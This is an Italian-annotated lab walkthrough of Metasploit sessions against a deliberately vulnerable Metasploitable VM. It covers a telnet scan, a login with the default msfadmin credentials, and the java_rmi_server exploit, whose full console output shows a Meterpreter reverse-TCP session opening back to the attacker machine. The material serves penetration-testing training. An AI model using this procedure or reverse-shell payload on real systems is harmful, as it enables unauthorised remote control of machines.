

MSFCONSOLE

```
(kali㉿kali)-[~]  
$ msfconsole  
Metasploit tip: Set the current module's RHOSTS with database values using  
hosts -R or services -R
```

```
IIIIII  dTb.dTb  
II      4'  v  'B  
II      6.    .P  
II      'T;. .;P'  
II      'T; ;P'  
IIIIII  'YvP'
```



I love shells --egypt

```
=[ metasploit v6.3.45-dev ]  
+ -- --[ 2377 exploits - 1232 auxiliary - 416 post ]  
+ -- --[ 1391 payloads - 46 encoders - 11 nops ]  
+ -- --[ 9 evasion ]
```

Metasploit Documentation: <https://docs.metasploit.com/>

```
msf6 > use auxiliary/scanner/telnet/telnet_version  
msf6 auxiliary(scanner/telnet/telnet_version) > show options
```

Module options (auxiliary/scanner/telnet/telnet_version):

Name	Current Setting	Required	Description
----	-----	-----	-----
PASSWORD		no	The password for the specified username
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

View the full module info with the `info`, or `info -d` command.

```
msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.50.101  
RHOSTS => 192.168.50.101  
msf6 auxiliary(scanner/telnet/telnet_version) > show options
```

Come prima cosa utilizziamo il comando per avviare il servizio, controlliamo se ha bisogno di moduli, impostiamo RHOSTS della macchina vittima (192.168.50.101). Dopodichè mandiamo l'exploit, effettuiamo l'accesso a metasploitable (la macchina vittima) ed abbiamo il controllo della macchina

Module options (auxiliary/scanner/telnet/telnet_version):

Name	Current Setting	Required	Description
----	-----	-----	-----
PASSWORD		no	The password for the specified username
RHOSTS	192.168.50.101	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

View the full module info with the `info`, or `info -d` command.

`msf6 auxiliary(scanner/telnet/telnet_version) > exploit`

```
[+] 192.168.50.101:23 - 192.168.50.101:23 TELNET
_ _ | | _ _ _ _ _ _ _ _ | | _ _ _ ( ) | _ _ _ | | _ _ | | _ _ _ | _ _ _ \ \x0a| ' _ ` _ \ / _ \ _ _ / _ ` / _ _ | ' _ \ | | / _ \ | | _ _ / _ ` | ' _ \ | | /
_ \ _ _ ) | \x0a| | | | | _ _ / | | ( | \ _ \ | | | | ( ) | | | | ( | | | | | | _ _ // _ _ / \x0a| | | | | | \ _ _ \ _ _ \ _ _ , _ _ _ / _ _ / |
| \ _ _ / | | \ _ _ \ _ _ , | | _ _ / | | \ _ _ | _ _ _ | \x0a
                                     | _ |
Warning: Never expose this VM to an untrusted network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\x0ametasploitable login:
[*] 192.168.50.101:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) > ls
[*] exec: ls
```

Desktop Documents Downloads Music Pictures Public Templates Videos

`msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.50.101`

```
[*] exec: telnet 192.168.50.101
```

```
Trying 192.168.50.101...
Connected to 192.168.50.101.
Escape character is '^]'.

```

Metasploit

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin

Password:

Last login: Tue Jan 16 04:07:11 EST 2024 on tty1

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:

<http://help.ubuntu.com/>

No mail.

msfadmin@metasploitable:~\$ █

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/gather/java_rmi_registry		normal	No	Java RMI Registry Interfaces Enumeration
1	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution
2	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecure Endpoint Code Execution Scanner
3	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMIConnectionImpl Deserialization Privilege Escalation

Ora effettuiamo i
precedenti
passaggi per
poter utilizzare
l'exploit JAVA_RMI

Interact with a module by name or index. For example `info 3`, `use 3` or `use exploit/multi/browser/java_rmi_connection_impl`

```
msf6 > use exploit/multi/misc/j
use exploit/multi/misc/java_jdwp_debugger
use exploit/multi/misc/java_jmx_server
use exploit/multi/misc/java_rmi_server
use exploit/multi/misc/jboss_remoting_unified_invoker_rce
msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options
```

Module options (exploit/multi/misc/java_rmi_server):

Name	Current Setting	Required	Description
----	-----	-----	-----
HTTPDELAY	10	yes	Time that the HTTP Server will wait f or the payload request
RHOSTS		yes	The target host(s), see https://docs. metasploit.com/docs/using-metasploit/ basics/using-metasploit.html
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface t o listen on. This must be an address on the local machine or 0.0.0.0 to li sten on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connection s
SSLCert		no	Path to a custom SSL certificate (def ault is randomly generated)
URIPATH		no	The URI to use for this exploit (defa ult is random)

Payload options (java/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
----	-----	-----	-----
LHOST	192.168.50.100	yes	The listen address (an interface may be s pecified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
--	----
0	Generic (Java Payload)

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.50.101
rhosts => 192.168.50.101
msf6 exploit(multi/misc/java_rmi_server) > set lhosts 192.168.50.100
[!] Unknown datastore option: lhosts. Did you mean LHOST?
lhosts => 192.168.50.100
msf6 exploit(multi/misc/java_rmi_server) > set lhost 192.168.50.100
lhost => 192.168.50.100
msf6 exploit(multi/misc/java_rmi_server) > show options
```

Module options (exploit/multi/misc/java_rmi_server):

Name	Current Setting	Required	Description
----	-----	-----	-----
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS	192.168.50.101	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

Exploit target:

Id	Name
--	----
0	Generic (Java Payload)

View the full module info with the `info`, or `info -d` command.

`msf6` exploit(`multi/misc/java_rmi_server`) > exploit

```
[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.50.101:1099 - Using URL: http://192.168.50.100:8080/y2pYK0ttz
[*] 192.168.50.101:1099 - Server started.
[*] 192.168.50.101:1099 - Sending RMI Header...
[*] 192.168.50.101:1099 - Sending RMI Call...
[*] 192.168.50.101:1099 - Replied to request for payload JAR
[*] Sending stage (57692 bytes) to 192.168.50.101
[*] Meterpreter session 1 opened (192.168.50.100:4444 -> 192.168.50.101:43709) at 2024-01-16 10:33:54 +0100
```

`meterpreter` > ifconfi

`[*]` Unknown command: ifconfi

`meterpreter` > ifconfig

Interface 1

=====

Name : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2

=====

Name : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.50.101
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe33:ec94
IPv6 Netmask : ::